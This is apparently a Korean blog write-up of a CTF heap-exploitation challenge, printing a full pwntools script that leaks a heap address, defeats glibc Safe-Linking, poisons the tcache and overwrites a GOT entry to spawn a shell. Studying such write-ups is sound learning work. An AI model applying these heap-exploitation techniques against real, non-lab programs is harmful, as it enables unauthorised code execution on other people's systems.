제가 저번주에 아세안 동남권 해킹 대회를 다녀왔습니다.
포너블이랑 리버싱 문제들이 너무 어려워서 쉬운 문제 빼고 거의 못풀었는데, 포너블 문제중에 최근 공부중인 힙 익스플로잇 문제가 하나 있어서 다시 풀어보면서 write-up을 작성해볼까 합니다.
대회장안에서는 못풀었어서 끝나고 복기하면서 다시 풀어보는거라 글이 매끄럽지 않을 수 있습니
문제안에 주석들은 제가 풀면서 작성했던거라 신경 안쓰셔도 괜찮습니다.
보호기법입니다.
먼저 기본 기능 분석입니다.
기본 기능 분석
1.register_vehicle : 힙 할당
2.edit_memo : 메모 내용 수정
3.show_memo : 메모 내용 출력
4.clear_memo : 메모 삭제
5.tigger_overwrite : 비상기능 실행
6.list_registery : 등록 현황 조회
7.analytics : 관리자 분석
순서고 메뉴도 7개 있습니다.
일단 먼저 PIE가 꺼져있기때문에 필요한 함수 주소는 가져다 쓸 수 있고 6번이랑 7번 메뉴를 사용하면 정보를 획득할 수 있습니다.
메모를 입력하고 6번 메뉴를 실행하면 현재 힙에 할당된 노트의 실제 주소를 획득할 수 있습니다.
이 문제 glibc 버전이 좀 높았던 걸로 기억하는데, Safe-Linking을 위해 이 키 계산이 필요합니다.
7번을 누르면 Override handler의 주소를 출력해줍니다.
하지만 PIE가 꺼져있어서 꼭 필요한 함수인지는 잘 모르겠습니다.
문제 해결 방향에 대한 설계는 Tcache Poisoning을 통한 GOT overwrite를 목표로 했습니다.
1.list_registry()를 통한 힙주소 누출
1-1 유출 된 힙 주소로 Safe linking 키 값 생상
2. Tcache Poisoning
2-1. 청크 생성
2-2. clear_memo를 통한 청크 해제 -> 청크가 Tcache에 들어감
2-3 edit_memo로 해제된 청크의 메모에 print의 got 주소를 넣음
3.GOT overwrite
3-1 register_vehicle로 첫 번째 더미 청크 호출
3-2 register_vehicle로 두 번째 청크 호출 -> print의 got에 원하는 내용 작성 : emergency_override의 주소 넣음
일단 본격적인 익스플로잇을 작성하기 이전에 편의 함수들을 미리 작성해보겠습니다.
def register(slot, plate, cat, size, content):
p.sendlineafter(b">> ", b'1')
p.sendlineafter(b'chars): ', plate)
p.sendlineafter(b'chars)', cat)
p.sendlineafter(b'768): ', str(size).encode())
p.sendafter(b'plan: ', content)
def edit(slot, content):
p.sendlineafter(b">> ", b'2')
p.sendlineafter(b'(0-7): ', str(slot).encode())
p.sendafter(b'max): ',content )
def show(slot):
p.sendlineafter(b">> ", b'3')
p.sendlineafter(b"(0-7): ",str(slot).encode() )
def clear(slot):
p.sendlineafter(b'choice: ', b'4')
p.sendlineafter(b"(0-7): ",str(slot).encode() )
def lest_reg():
p.sendlineafter(b'choice: ', b'6')
위와 같이만 작성했습니다.
register에 slot인자는 들어가진 않지만 페이로드 작성할 때 헷갈릴 것 같아서 참고용으로 인자값 설정해두었습니다.
이제 본격적인 익스플로잇을 설계해보겠습니다
먼저 암호화 키를 얻는 페이로드를 작성해보겠습니다.
6번 list_reg를 사용하면 SYS_CNTL이 들어있는ㄷ 주소를 알려줍니다(0번에다 힙을 할당한 뒤 6번을 출력해도 힙 주소를 획득할수 있습니다) 해당 메모에서의 주소를 저장하고 하위 12비트 제거 후 키 값으로 쓰면 됩니다
list_reg 함수에 추가해서 수정했습니다.
def list_reg():
p.sendlineafter(b'>> ', b'6')
p.recvuntil(b'memo=')
line_data=p.recvline()
heap_addr_str = line_data.split()[0]
heap_leak = int(heap_addr_str, 16)
log.success(f"Heap Address: {hex(heap_leak)}")
key = heap_leak >> 12
log.info(f"Key: {hex(key)}")
list_reg()
위의 코드는 memo뒤의 글자들을 저장하고 분리해서 저장합니다.
실행하면 다음과 같이 Key값으로 쓸 값을 구할 수 있습니다.
이제 Tcache poisoning하는 페이로드입니다.
key = list_reg()
#Tcache poisoning
poison_payload = p64(target_got ^ key)
print(poison_payload)
register(0, b'123', b'123', 40, b'123123')
clear(0)
edit(0, poison_payload)
일단 이전에 key값이 지역변수여서 list_reg밖에서 사용이 안되길래 list_reg 마지막에 return key를 추가해주고, key값을 따로 저장한뒤 print의 got와 xor해서 키를 구ㅐㅎㅆ습니다.
그 뒤 register-clear-edit을 통해 tcache poison을 진행했습니다.
중간 실행 결과입니다.
계산해보면 93caC가 알맞은 값이 나오는데 보기 힘들어서
log.info(f"Poison Payload: {hex(u64(poison_payload))}")
이렇게 print문을 바꿔뒀습니다.
이제 나머지 tcache poisoning을 해보겠습니다.
register(1, b'111', b'123', 40, b'123123')
emergency = elf.sym['emergency_override']
register(2, b'111', b'123', 40, p64(emergency))
이렇게 작성을 해줬습니다만.. 페이로드가 일을 안하네요.
디버깅은 잘 찍히는걸 보아하니 통신문제는 아닌 것 같습니다
이전에 공부할때 쓴 글들 살펴보니까
https://poiri3r.tistory.com/59
[Pwnable]Tcache_dup2 write-up
오늘은 드림핵의 Tcache_dup2 write-up을 작성해보겠습니다.https://dreamhack.io/wargame/challenges/67 로그인 | Dreamhack dreamhack.io문제는 위의 사이트에서 다운로드 받으실 수 있습니다.여기서 유의깊게 보셔야
poiri3r.tistory.com
여기서 Tcache count값을 까먹고있었는데 할당해제개수를 추가해서 tcache count값을 2개로 만들어보겠습니다.
#Tcache poisoning
poison_payload = p64(target_got ^ key)
log.info(f"Poison Payload: {hex(u64(poison_payload))}")
register(0, b'123', b'123', 40, b'123123')
clear(0)
edit(0, poison_payload)
register(0, b'A', b'A', 40, b'Chunk0')
register(1, b'B', b'B', 40, b'Chunk1')
clear(1)
clear(0)
register(1, b'111', b'123', 40, b'123123')
emergency = elf.sym['emergency_override']
register(2, b'111', b'123', 40, p64(emergency))
p.interactive()
이렇게 수정을 해봤습니다.
이번엔 double free bug가 뜨네요
이것저것 해보니 할당 ->해제->수정->할당*2->해제*2를 하면 Tcache가 오염된 상태에서 할당과 해제를 반복해서 힙 구조가 망가진거라 합니다.
앞에 할당->해제->edit을 빼고 수정했습니다.
register(0, b'A', b'A', 40, b'Chunk0')
register(1, b'B', b'B', 40, b'Chunk1')
clear(1)
clear(0)
edit(0, poison_payload)
register(1, b'111', b'123', 40, b'123123')
emergency = elf.sym['emergency_override']
register(2, b'111', b'123', 40, p64(emergency))
p.interactive()
쉘 획득에 성공했습니다..!
from pwn import*
#context.log_level = 'debug'
elf = ELF("./urgent")
p = process("./urgent")
target_got = elf.got['__printf_chk']
print(target_got)
def register(slot, plate, cat, size, content):
p.sendlineafter(b">> ", b'1')
p.sendlineafter(b'chars): ', plate)
p.sendlineafter(b'chars)', cat)
p.sendlineafter(b'768): ', str(size).encode())
p.sendafter(b'plan: ', content)
def edit(slot, content):
p.sendlineafter(b">> ", b'2')
p.sendlineafter(b'(0-7): ', str(slot).encode())
p.sendafter(b'max): ',content )
def show(slot):
p.sendlineafter(b">> ", b'3')
p.sendlineafter(b"(0-7): ",str(slot).encode() )
def clear(slot):
p.sendlineafter(b'>> ', b'4')
p.sendlineafter(b"(0-7): ",str(slot).encode() )
def list_reg():
p.sendlineafter(b'>> ', b'6')
p.recvuntil(b'memo=')
line_data=p.recvline()
heap_addr_str = line_data.split()[0]
heap_leak = int(heap_addr_str, 16)
log.success(f"Heap Address: {hex(heap_leak)}")
key = heap_leak >> 12
log.info(f"Key: {hex(key)}")
return key
key = list_reg()
#Tcache poisoning
poison_payload = p64(target_got ^ key)
log.info(f"Poison Payload: {hex(u64(poison_payload))}")
register(0, b'A', b'A', 40, b'Chunk0')
register(1, b'B', b'B', 40, b'Chunk1')
clear(1)
clear(0)
edit(0, poison_payload)
register(1, b'111', b'123', 40, b'123123')
emergency = elf.sym['emergency_override']
register(2, b'111', b'123', 40, p64(emergency))
p.interactive()
다른 분은 GOT overwrite를 안쓰고 fd포인터 값에 바로 주소값을 넣었다는데 그렇게 풀어봐도 될 것 같긴합니다.
또 구조체를 두개 준게 UAF로 구조체 위치를 맞추면서 익스플로잇을 하는 의도같은데 감이 잘 안잡혀서 GOT로 했는데 되어서 다행이네요.
최근에 공부하고 있는 내용이라 대회장에서 문제를 풀었으면 좋았을 것 같은데.. 아쉬우면서도 그래도 실력 증진이 된 것 같습니다.
이번에 문제 풀때는 틈틈히 짬내서 최대한 ai의 도움 없이 풀어보려고 했는데, 그래도 비교적 AI모델을 덜 쓰고 해낸 것 같아 기분이 뿌듯합니다.
읽어주셔서 감사합니다